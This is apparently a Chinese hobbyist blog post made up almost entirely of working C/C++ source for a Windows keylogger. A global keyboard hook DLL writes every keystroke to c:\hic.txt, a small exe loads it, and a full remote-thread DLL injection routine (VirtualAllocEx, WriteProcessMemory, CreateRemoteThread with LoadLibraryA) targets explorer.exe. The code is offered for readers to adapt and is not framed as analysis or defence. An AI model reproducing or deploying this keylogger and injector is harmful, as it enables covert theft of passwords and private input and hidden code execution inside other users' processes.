这里把很早前的一些文章陆续汇总下,以后研究方向会专注,本来就是菜鸟,总这一竿子那一竿子,最后一场空,以后主要是嵌入式,PC要放一放了.....
预备知识:键盘记录功能需要用到全局键盘钩子(有局部钩子和全局钩子之分),而全局键盘钩子需要一个单独的dll文件,因为这个dll文件会被注入到任意获得键盘消息的进程中(个别系统进程无法注入),向操作系统注册钩子后,再在回调函数中处理对应的键盘事件就OK....
另外,虽然dll也属可执行文件,但它需要带头大哥的指引才能启动(exe文件),因此,还需要一个起动机,也就是一个exe文件来帮助启动...
(DEV-CPP编译通过)先看一下效果:
这里贴两段程序,第一段是全局键盘钩子例程,第二段是一个比较完整的注入例程
1、全局键盘钩子例程:
dll.h :
#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */
#include <windows.h>
DLLIMPORT void HelloWorld (void);
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);
BOOL __declspec(dllexport) installhook();
BOOL __declspec(dllexport) UnHook();
#endif /* _DLL_H_ */
dll.cpp :
#include "dll.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma data_seg(".SHARDAT") //共享段
static HHOOK hkb = NULL;
//HWND hLastWnd = NULL;
FILE *fp = NULL;
#pragma data_seg()
#pragma comment (linker,"/SECTION:.SHARDAT,RWS")
HINSTANCE hinst = NULL;
DLLIMPORT void HelloWorld ()
{
MessageBox (0, "Hello World from DLL!\n", "Hi", MB_ICONINFORMATION);
}
// DLL入口
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ ,
DWORD reason /* Reason this function is being called. */ ,
LPVOID reserved /* Not used. */ )
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
hinst = hInst;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
/* Returns TRUE on success, FALSE on failure */
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) //回调函数,自己DIY吧...
{
/*
if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
{
switch(wParam)
{
case VK_F1:
MessageBox(NULL,"F1","F1",MB_OK); break;
case 'A':
MessageBox(NULL,"A","A",MB_OK);
}
}
*/
/*
HWND hWnd = GetActiveWindow();
if (hWnd != hLastWnd)
{
char szTemp[256] = {0};
GetWindowText(hWnd,szTemp,sizeof(szTemp));
fprintf(fp,"\r\n--- [%s] ---\r\n",szTemp);
hLastWnd = hWnd;
}
BYTE szKeyState[256] = {0};
GetKeyboardState(szKeyState);
int nScan = lParam >> 16;
WORD szKey = 0;
int len = ToAscii(wParam,nScan,szKeyState,&szKey,0);
if (len > 0)
{
//fprintf(fp,"[%c]",char(szKey));
}
*/
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) //捕获按键按下
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
fp=fopen("c:\\hic.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,fp);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = (char)(w);
fwrite(&ch,1,1,fp);
}
fclose(fp);
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
BOOL __declspec(dllexport)__stdcall installhook()
{
fp=fopen("c:\\hic.txt","w");
fclose(fp);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0); //键盘钩子
return TRUE;
}
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
至于exe启动机的代码要简单多了:
#include "dll.h"
#include <iostream>
#include <windows.h>
using namespace std;
typedef bool (*Fun)();
HMODULE g_hHook = 0;
Fun setHook = NULL;
int main(int argc, char *argv[])
{
//InstallHook();
g_hHook = LoadLibrary("Inject.dll");
setHook = (Fun)GetProcAddress(g_hHook,"installhook");
setHook();
system("pause");
return 0;
}
.
2、完整进程注入例程:
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <io.h>
#define INJECT_PROCESS_NAME "explorer.exe" //"iexplore.exe"
// 根据进程名获取进程PID值
long GetProcessID(char *pProcessName)
{
/* 定义变量 */
BOOL bRet;
HANDLE hProcessSnap;
unsigned long ProcessID = -1;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
// 所有进程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed. error:%d.\n", GetLastError());
return -1;
}
// 遍历进程快照,轮流显示每个进程的信息
bRet = Process32First(hProcessSnap, &pe);
while(bRet)
{
// pe.szExeFile保存的值为进程对应的可执行文件名
if(strcmp(pe.szExeFile, pProcessName) == 0)
{
ProcessID = pe.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe);
}
// 清除掉进程快照对象
CloseHandle(hProcessSnap);
return ProcessID;
}
BOOL InjectDLL()
{
long pid = 0;
int ret = 0;
char szDllPath[MAX_PATH] = {0};
// 获取DLL全路径,这里为/windows/system32/InjectDLL.dll
// 同时判断有无访问权限
ret = GetSystemDirectory(szDllPath, MAX_PATH);
if(szDllPath[ret - 1] != '\\')
strcat(szDllPath, "\\");
strcat(szDllPath, "InjectDLL.dll");
if(_access(szDllPath, 0) == -1)
{
printf("Access %s Failed.\n", szDllPath);
return -1;
}
printf("Inject DLL' Path: %s .\n", szDllPath);
// 获取要注入进程的PID
pid = GetProcessID(INJECT_PROCESS_NAME);
if(pid == -1)
{
printf("Get Inject ProcessID Failed.\n");
return FALSE;
}
printf("Inject PID:[%d] .\n", pid);
HANDLE hProcess = NULL;
HANDLE hRemoteThread = NULL;
void *pLibRemote = NULL;
DWORD hLibModule = 0;
HMODULE hKernel32 = NULL;
hKernel32 = GetModuleHandle("Kernel32");
if(hKernel32 == NULL)
{
printf("Get Kernel32 Handle Failed.\n");
return FALSE;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
if(hProcess == NULL)
{
printf("Open Inject Process Failed.\n");
return FALSE;
}
// 1. Allocate memory in the remote process for szDllPath
// 2. Write szDllPath to the allocated memory
pLibRemote = VirtualAllocEx(hProcess,
NULL,
sizeof(szDllPath),
MEM_COMMIT,
PAGE_READWRITE);
ret = WriteProcessMemory(hProcess,
pLibRemote,
(void *) szDllPath,
sizeof(szDllPath),
NULL);
if(ret == 0)
{
printf("Write Remote Process Memory Failed.\n");
return FALSE;
}
// Load "LibSpy.dll" into the remote process
// (via CreateRemoteThread & LoadLibrary)
hRemoteThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)
GetProcAddress(hKernel32, "LoadLibraryA"),
pLibRemote,
0,
NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
// Get handle of the loaded module
GetExitCodeThread(hRemoteThread, &hLibModule);
// Clean up
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, pLibRemote, sizeof(szDllPath), MEM_RELEASE);
// 关闭远程进程句柄
CloseHandle(hProcess);
printf("Inject Finished.\n");
return TRUE;
}
int main(int argc, char *argv[])
{
InjectDLL();
system("pause");
return 0;
}